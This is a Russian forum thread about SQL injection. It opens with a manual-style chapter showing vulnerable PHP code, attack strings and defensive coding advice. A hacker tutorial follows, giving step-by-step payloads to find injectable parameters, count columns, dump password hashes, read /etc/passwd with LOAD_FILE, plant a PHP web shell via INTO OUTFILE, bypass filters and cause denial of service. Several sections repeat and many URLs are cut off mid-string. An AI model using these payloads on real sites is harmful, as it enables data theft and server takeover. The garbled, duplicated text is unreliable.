Многие веб-разработчики даже не догадываются, что SQL-запросы могут быть подделаны, и считают, что SQL-запросы всегда достоверны. На самом деле поддельные запросы могут обойти ограничения доступа, стандартную проверку авторизации, а некоторые виды запросов могут дать возможность выполнять команды операционной системы. Принудительное внедрение вредоносных инструкций в SQL-запросы - методика, в которой взломщик создает или изменяет текущие SQL-запросы для работы со скрытыми данными, их изменения или даже выполнения опасных команд операционной системы на сервере базы данных. Атака выполняется на базе приложения, строящего SQL-запросы из пользовательского ввода и статических переменных. Следующие примеры, к сожалению, построены на реальных фактах. Благодаря отсутствию проверки пользовательского ввода и соединением с базой данных под учетной записью суперпользователя (или любого другого пользователя, наделенного соответствующими привелегиями), взломщик может создать еще одного пользователя БД с правами суперпользователя. Постраничный вывод результата... и создание суперпользователя в PostgreSQL и MySQL:
Код:
<?php
$offset = argv[0]; // проверка пользовательских данных отсутствует
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
// используя PostgreSQL
$result = pg_exec($conn, $query);
// используя MySQL
$result = mysql_query($query);
?>
Обычно пользователи кликают по ссылкам 'вперед' и 'назад', вследствии чего значение переменной $offset заносится в адресную строку. Скрипт ожидает, что $offset - десятиричное число. Однако, взломщик может попытаться взломать систему, присоединив к строке запроса дополнительную подстроку, обработанную функцией urlencode():
Код:
// используя PostgreSQL
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
select 'crack', usesysid, 't','t','crack'
from pg_shadow where usename='postgres';
---
// используя MySQL
0;
UPDATE user SET Password=PASSWORD('crack') WHERE user='root';
FLUSH PRIVILEGES;
Если это произойдет, скрипт предоставит взломщику доступ к базе с правами суперпользователя. Заметим, что 0; использован для того, чтобы задать правильное значение смещения для первого запроса и корректно его завершить. Замечание: Уже привычна технология, когда разработчики указывают принудительное игнорирование парсером SQL оставшейся части запроса при помощи нотации --, означающей комментарий. Еще один вероятный способ получить пароли учетных записей в БД - атака страниц, предоставляющих поиск по базе. Взломщику нужно лишь проверить, используется ли в запросе передаваемая на сервер и необрабатываемая надлежащим образом переменная. Это может быть один из устанавливаемых на предыдущей странице фильтров, таких как WHERE, ORDER BY, LIMIT и OFFSET, используемых при построении запросов SELECT. В случае, если используемая вами база данных поддерживает конструкцию UNION, взломщик может присоединить к оригинальному запросу еще один дополнительный, для извлечения пользовательских паролей. Настоятельно рекомендуем использовать только зашифрованные пароли. Листинг статей... и некоторых паролей (для любой базы данных):
Код:
<?php
$query = "SELECT id, name, inserted, size FROM products
WHERE size = '$size'
ORDER BY $order LIMIT $limit, $offset;";
$result = odbc_exec($conn, $query);
?>
SQL-инъекции
981
Статическая часть запроса может комбинироваться с другим SQL-запросом, который откроет все пароли:
Код:
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--
Если этот запрос (использующий ' и --) присоединить к значению одной из переменных, используемых для формирования $query, запрос заметно преобразится. Команды UPDATE также могут использоваться для атаки. Опять же, есть угроза разделения инструкции на несколько запросов, присоединения дополнительного запроса. Также взломщик может видоизменить выражение SET. В этом случае потенциальному взломщику необходимо обладать некоторой дополнительной информацией для успешного манипулирования запросами. Эту информацию можно получить, проанализировав используемые в форме имена переменных либо просто перебирая все наиболее распространенные варианты названия соответствующих полей (а их не так уж и много). От восстановления пароля... до получения дополнительных привилегий (для любой базы данных):
Код:
<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
Но злоумышленник может ввести значение ' or uid like'%admin%'; -- для переменной $uid для изменения пароля администратора или просто присвоить переменной $pwd значение "hehehe', admin='yes', trusted=100 " (с завершающими пробелами) для получения дополнительных привелегий. При выполнении запросы переплетаются:
Код:
<?php
// $uid == ' or uid like'%admin%'; --
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";
// $pwd == "hehehe', admin='yes', trusted=100 "
$query = "UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE ...;";
?>
Пугающий пример того, как на сервере баз данных могут выполняться команды операционной системы.
Выполнение команд операционной системы на сервере (для базы MSSQL):
Код:
$query = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
Если взломщик введет значениме a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- для переменной $prod, тогда запрос $query будет выглядеть так:
Код:
$query = "SELECT * FROM products
WHERE id LIKE '%a%'
exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);
MSSQL сервер выполняет SQL-команды в пакетном режиме, в том числе и операции по заведению локальных учетных записей базы данных. В случае, если приложение работает с привилегиями администратора и сервис MSSQL запущен с необходимыми привилегиями, выполнив приведенные выше действия, взломщик получит аккаунт для доступа к серверу. Замечание: Некоторые приведенные в этой главе примеры касаются конкретной базы данных. Это не означает, что аналогичные атаки на другие программные продукты невозможны. Работоспособность вашей базы данных может быть нарушена каким-либо другим способом.
Код:
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--
Если этот запрос (использующий ' и --) присоединить к значению одной из переменных, используемых для формирования $query, запрос заметно преобразится. Команды UPDATE также могут использоваться для атаки. Опять же, есть угроза разделения инструкции на несколько запросов, присоединения дополнительного запроса. Также взломщик может видоизменить выражение SET. В этом случае потенциальному взломщику необходимо обладать некоторой дополнительной информацией для успешного манипулирования запросами. Эту информацию можно получить, проанализировав используемые в форме имена переменных либо просто перебирая все наиболее распространенные варианты названия соответствующих полей (а их не так уж и много). От восстановления пароля... до получения дополнительных привилегий (для любой базы данных):
Код:
<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
Но злоумышленник может ввести значение ' or uid like'%admin%'; -- для переменной $uid для изменения пароля администратора или просто присвоить переменной $pwd значение "hehehe', admin='yes', trusted=100 " (с завершающими пробелами) для получения дополнительных привелегий. При выполнении запросы переплетаются:
Код:
<?php
// $uid == ' or uid like'%admin%'; --
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";
// $pwd == "hehehe', admin='yes', trusted=100 "
$query = "UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE ...;";
?>
Пугающий пример того, как на сервере баз данных могут выполняться команды операционной системы.
Выполнение команд операционной системы на сервере (для базы MSSQL):
Код:
$query = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
Если взломщик введет значениме a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- для переменной $prod, тогда запрос $query будет выглядеть так:
Код:
$query = "SELECT * FROM products
WHERE id LIKE '%a%'
exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);
MSSQL сервер выполняет SQL-команды в пакетном режиме, в том числе и операции по заведению локальных учетных записей базы данных. В случае, если приложение работает с привилегиями администратора и сервис MSSQL запущен с необходимыми привилегиями, выполнив приведенные выше действия, взломщик получит аккаунт для доступа к серверу. Замечание: Некоторые приведенные в этой главе примеры касаются конкретной базы данных. Это не означает, что аналогичные атаки на другие программные продукты невозможны. Работоспособность вашей базы данных может быть нарушена каким-либо другим способом.
Способы защиты
Вы можете утешать себя тем, что в большинстве случаев, взломщик должен обладать некоторой информацией о структуре базы данных. Вы правы, но вы не знаете, когда и как будет предпринята попытка взлома, в случае если это произойдет ваша БД окажется незащищенной. Если вы используете программный продукт с открытыми исходными кодами или просто общедоступный пакет для работы с базой данных (например контент менеджер или форум), взломщик легко сможет воспроизвести интересующие его участки кода. В случае если они плохо спроектированы, это может являться одной из угроз вашей безопасности. Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не доверяйте никаким вводим данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или куки. Приведенные примеры показывают, к каким последствиям могут привести подделанные запросы. Старайтесь не открывать соединение с базой, используя учетную запись владельца или администратора. Всегда старайтесь использовать специально созданных пользователей с максимально ограниченными правами. Всегда проверяйте введенные данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших Функций для работы с переменными и Функции определения типа символов (такие как is_numeric(), ctype_digit()) и заканчивая Perl-совместимыми регулярными выражениями. В случае, если приложение ожидает цифровой ввод, примените функцию is_numeric() для проверки введенных данных, или принудительно укажите их тип при помощи settype(), или просто используйте числовое представление при помощи функции sprintf().
Более безопасная реализация постраничной навигации:
Код:
settype($offset, 'integer');
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
// обратите внимание на формат %d, использование %s было бы бессмысленно
$query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
$offset);
Экранируйте любой нецифровой ввод, используемый в запросах к БД при помощи функций addslashes() или addcslashes(). Обратите внимание на первый пример. Следует помнить, что одного использования кавычек в запросе мало, это легко обойти. Не выводите никакой информации о БД, особенно о ее структуре. Также ознакомьтесь с соответствующими разделами документации: Сообщения об ошибках и Функции обработки и логирования ошибок. Вы можете использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям, но это решение имеет свои особенности. Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно логировать все возможные детали.
Источник: php.ru
Вы можете утешать себя тем, что в большинстве случаев, взломщик должен обладать некоторой информацией о структуре базы данных. Вы правы, но вы не знаете, когда и как будет предпринята попытка взлома, в случае если это произойдет ваша БД окажется незащищенной. Если вы используете программный продукт с открытыми исходными кодами или просто общедоступный пакет для работы с базой данных (например контент менеджер или форум), взломщик легко сможет воспроизвести интересующие его участки кода. В случае если они плохо спроектированы, это может являться одной из угроз вашей безопасности. Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не доверяйте никаким вводим данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или куки. Приведенные примеры показывают, к каким последствиям могут привести подделанные запросы. Старайтесь не открывать соединение с базой, используя учетную запись владельца или администратора. Всегда старайтесь использовать специально созданных пользователей с максимально ограниченными правами. Всегда проверяйте введенные данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших Функций для работы с переменными и Функции определения типа символов (такие как is_numeric(), ctype_digit()) и заканчивая Perl-совместимыми регулярными выражениями. В случае, если приложение ожидает цифровой ввод, примените функцию is_numeric() для проверки введенных данных, или принудительно укажите их тип при помощи settype(), или просто используйте числовое представление при помощи функции sprintf().
Более безопасная реализация постраничной навигации:
Код:
settype($offset, 'integer');
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
// обратите внимание на формат %d, использование %s было бы бессмысленно
$query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
$offset);
Экранируйте любой нецифровой ввод, используемый в запросах к БД при помощи функций addslashes() или addcslashes(). Обратите внимание на первый пример. Следует помнить, что одного использования кавычек в запросе мало, это легко обойти. Не выводите никакой информации о БД, особенно о ее структуре. Также ознакомьтесь с соответствующими разделами документации: Сообщения об ошибках и Функции обработки и логирования ошибок. Вы можете использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям, но это решение имеет свои особенности. Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно логировать все возможные детали.
Источник: php.ru
MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
PHP код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
PHP код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:
http://www.site.ru/index.php?page=1
Способ №1
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:
http://www.site.ru/index.php?p ... #039;
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:
http://www.site.ru/index.php?page=2-1
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
http://www.site.ru/index.php?p ... ull/*
или
http://www.site.ru/index.php?p ... ull/*
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:
http://www.site.ru/index.php?p ... ull/*
Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
Код:
?id=-1+order+by+100/*
Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
Код:
http://www.site.ru/index.php?p ... 5,6/*
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
http://www.site.ru/index.php?p ... USER(),4,5,6/*
http://www.site.ru/index.php?p ... SION(),4,5,6/*
http://www.site.ru/index.php?p ... BASE(),4,5,6/*
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:
http://www.site.ru/index.php?page=1
Способ №1
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:
http://www.site.ru/index.php?p ... #039;
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:
http://www.site.ru/index.php?page=2-1
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
http://www.site.ru/index.php?p ... ull/*
или
http://www.site.ru/index.php?p ... ull/*
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:
http://www.site.ru/index.php?p ... ull/*
Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
Код:
?id=-1+order+by+100/*
Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
Код:
http://www.site.ru/index.php?p ... 5,6/*
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
http://www.site.ru/index.php?p ... USER(),4,5,6/*
http://www.site.ru/index.php?p ... SION(),4,5,6/*
http://www.site.ru/index.php?p ... BASE(),4,5,6/*
Теперь наши возможности немного расширились. Мы можем:
1. Получить пароль root
Для этого составим такой запрос:
Код:
http://www.site.ru/index.php?p ... ql.us er/*
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2. Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Код:
http://www.site.ru/index.php?p ... ers/*
3. Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
Код:
http://www.site.ru/index.php?p ... sswd'),4,5,6/*
4.Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
Код:
http://www.site.ru/index.php?p ... #039;<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
1. Получить пароль root
Для этого составим такой запрос:
Код:
http://www.site.ru/index.php?p ... ql.us er/*
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2. Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Код:
http://www.site.ru/index.php?p ... ers/*
3. Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
Код:
http://www.site.ru/index.php?p ... sswd'),4,5,6/*
4.Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
Код:
http://www.site.ru/index.php?p ... #039;<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
Код:
http://www.site.ru/index.php?p ... USER(), 0x71),0x71),4,5,6/*
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
Код:
http://www.site.ru/index.php?p ... 99,47 ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии.
http://www.site.ru/index.php?p ... ql.us er/*
аналогично
http://www.site.ru/index.php?p ... ser/*
DOS
http://www.site.ru/index.php?p ... urren t_date)))
(c) LoFFi.gif)
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
Код:
http://www.site.ru/index.php?p ... USER(), 0x71),0x71),4,5,6/*
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
Код:
http://www.site.ru/index.php?p ... 99,47 ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии.
http://www.site.ru/index.php?p ... ql.us er/*
аналогично
http://www.site.ru/index.php?p ... ser/*
DOS
http://www.site.ru/index.php?p ... urren t_date)))
(c) LoFFi
Герц (11.01.2009/21:28)Ой.какой ужас.я в панике
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команд
Чем осторожнее человек в своих обещаниях, тем он..
Хорошая информация. Можно и в библиотеку оформить.
Agent
28 янв 2009 г., 15:37
Агент НКВД
Это в каждом учебнике написано
Всего: 32
© 2024, JohnCMS